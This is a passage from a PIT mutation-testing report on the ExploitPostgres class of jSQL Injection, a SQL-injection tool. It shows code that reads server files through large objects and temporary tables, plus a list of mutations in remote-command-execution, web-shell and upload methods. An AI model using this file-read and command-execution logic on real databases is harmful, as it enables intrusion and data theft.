                new String[]{ StringUtils.EMPTY },
520
                false,
521
                1,
522
                MockElement.MOCK,
523
                ResourceAccess.FILE_READ
524
            ));
525
        } catch (InjectionFailureException e) {
526
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
527
            var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
528
                this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
529
                pathFile
530
            ), ResourceAccess.ADD_LOID);
531 1 1. getRead : negated conditional → NO_COVERAGE
            if (StringUtils.isNotEmpty(loid)) {
532
                resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
533
                    this.modelYaml.getFile().getRead().getLargeObject().getToText(),
534
                    loid
535
                ), ResourceAccess.READ_LOID);
536
            }
537 1 1. getRead : negated conditional → NO_COVERAGE
            if (StringUtils.isEmpty(resultToParse)) {
538
                LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
539
                var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);  // no dash in table name
540
                this.injectionModel.injectWithoutIndex(String.format(
541
                    this.modelYaml.getFile().getWrite().getTempTable().getDrop(),
542
                    nameLibraryRandom
543
                ), ResourceAccess.TBL_DROP);
544
                this.injectionModel.injectWithoutIndex(String.format(
545
                    this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
546
                    nameLibraryRandom
547
                ), ResourceAccess.TBL_CREATE);
548
                this.injectionModel.injectWithoutIndex(String.format(
549
                    this.modelYaml.getFile().getWrite().getTempTable().getFill(),
550
                    nameLibraryRandom,
551
                    pathFile
552
                ), ResourceAccess.TBL_FILL);
553
                resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
554
                    String.format(
555
                        this.modelYaml.getFile().getRead().getFromTempTable(),
556
                        nameLibraryRandom
557
                    ),
558
                    new String[]{ StringUtils.EMPTY },
559
                    false,
560
                    1,
561
                    MockElement.MOCK,
562
                    ResourceAccess.TBL_READ
563
                ));
564
            }
565
        }
566 1 1. getRead : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getRead → NO_COVERAGE
        return resultToParse;
567
    }
568
}

Mutations

55

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

61

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/accessible/engine/ExploitPostgres::setRceArchiveWhenActive → NO_COVERAGE

67

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

69

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

71

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

73

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

75

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

77

1.1
Location : getCreateBasicExtension
Killed by : none
negated conditional → NO_COVERAGE

80

1.1
Location : getCreateBasicExtension
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getCreateBasicExtension → NO_COVERAGE

99

1.1
Location : setRceProgramWhenActive
Killed by : none
negated conditional → NO_COVERAGE

101

1.1
Location : setRceProgramWhenActive
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

102

1.1
Location : setRceProgramWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceProgramWhenActive → NO_COVERAGE

104

1.1
Location : setRceProgramWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceProgramWhenActive → NO_COVERAGE

108

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

109

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

111

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

118

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

122

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

124

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

131

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

133

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

142

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

143

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

151

1.1
Location : setRceExtensionWhenActive
Killed by : none
negated conditional → NO_COVERAGE

153

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

157

1.1
Location : setRceExtensionWhenActive
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

158

1.1
Location : setRceExtensionWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE

162

1.1
Location : setRceLibraryWhenActive
Killed by : none
negated conditional → NO_COVERAGE

163

1.1
Location : setRceLibraryWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE

172

1.1
Location : setRceLibraryWhenActive
Killed by : none
negated conditional → NO_COVERAGE

174

1.1
Location : setRceLibraryWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE

190

1.1
Location : setRceLibraryWhenActive
Killed by : none
negated conditional → NO_COVERAGE

192

1.1
Location : setRceLibraryWhenActive
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE

195

1.1
Location : setRceLibraryWhenActive
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

196

1.1
Location : setRceLibraryWhenActive
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE

200

1.1
Location : setRceArchiveWhenActive
Killed by : none
negated conditional → NO_COVERAGE

205

1.1
Location : setRceArchiveWhenActive
Killed by : none
negated conditional → NO_COVERAGE

207

1.1
Location : setRceArchiveWhenActive
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

216

1.1
Location : toHexChunks
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/engine/ExploitPostgres::toHexChunks → NO_COVERAGE

232

1.1
Location : runRceLibraryCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

236

1.1
Location : runRceLibraryCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceLibraryCmd → NO_COVERAGE

240

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

244

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

263

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

275

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

281

1.1
Location : runArchive
Killed by : none
removed call to com/jsql/util/ThreadUtil::sleep → NO_COVERAGE

291

1.1
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : runArchive
Killed by : none
negated conditional → NO_COVERAGE

295

1.1
Location : runArchive
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runArchive → NO_COVERAGE

308

1.1
Location : getExtensionWhenCreated
Killed by : none
negated conditional → NO_COVERAGE

310

1.1
Location : getExtensionWhenCreated
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getExtensionWhenCreated → NO_COVERAGE

323

1.1
Location : runRceArchiveCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

327

1.1
Location : runRceArchiveCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceArchiveCmd → NO_COVERAGE

350

1.1
Location : runRceProgramCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

354

1.1
Location : runRceProgramCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceProgramCmd → NO_COVERAGE

360

1.1
Location : runRceExtensionCmd
Killed by : none
negated conditional → NO_COVERAGE

384

1.1
Location : runRceExtensionCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

388

1.1
Location : runRceExtensionCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceExtensionCmd → NO_COVERAGE

402

1.1
Location : createWeb
Killed by : none
negated conditional → NO_COVERAGE

417

1.1
Location : lambda$createWeb$0
Killed by : none
negated conditional → NO_COVERAGE

421

1.1
Location : lambda$createWeb$0
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

422

1.1
Location : lambda$createWeb$0
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createWeb$0 → NO_COVERAGE

425

1.1
Location : createWeb
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::createWeb → NO_COVERAGE

438

1.1
Location : lambda$createSql$1
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : lambda$createSql$1
Killed by : none
negated conditional → NO_COVERAGE

439

1.1
Location : lambda$createSql$1
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

440

1.1
Location : lambda$createSql$1
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createSql$1 → NO_COVERAGE

455

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

466

1.1
Location : createSql
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::createSql → NO_COVERAGE

480

1.1
Location : createUpload
Killed by : none
negated conditional → NO_COVERAGE

494

1.1
Location : lambda$createUpload$2
Killed by : none
negated conditional → NO_COVERAGE

501

1.1
Location : lambda$createUpload$2
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

505

1.1
Location : lambda$createUpload$2
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createUpload$2 → NO_COVERAGE

531

1.1
Location : getRead
Killed by : none
negated conditional → NO_COVERAGE

537

1.1
Location : getRead
Killed by : none
negated conditional → NO_COVERAGE

566

1.1
Location : getRead
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getRead → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.25.5 support